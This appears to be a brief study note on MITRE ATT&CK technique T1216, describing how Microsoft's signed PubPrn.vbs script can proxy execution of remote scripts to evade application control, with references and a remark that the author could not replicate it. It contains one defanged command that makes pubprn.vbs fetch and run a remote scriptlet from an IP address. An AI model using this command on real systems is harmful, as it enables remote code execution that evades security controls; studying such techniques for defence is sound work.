T1216: Signed Script Proxy Execution

Adversaries may use the trusted PubPrn script to proxy execution of malicious files. This behavior may bypass signature validation restrictions and application control solutions that do not account for use of these scripts.

PubPrn.vbs is a Visual Basic script that publishes a printer to Active Directory Domain Services. The script is signed by Microsoft and can be used to proxy execution from a remote site. An example commands is

cscript C[:]\Windows\System32\Printing_Admin_Scripts\en-US\pubprn[.]vbs 127.0.0.1 script:http[:]//192.168.1.100/hi.png

Example

Could not Replicate, I wasn't receiving errors and could find the payload I was pointing at if any suggestions

References:

WSH Injection: A Case Studyenigma0x3

windows-operating-system-archaeology/pubprn_injection.txt at master · enigma0x3/windows-operating-system-archaeologyGitHub

pubprn | LOLBAS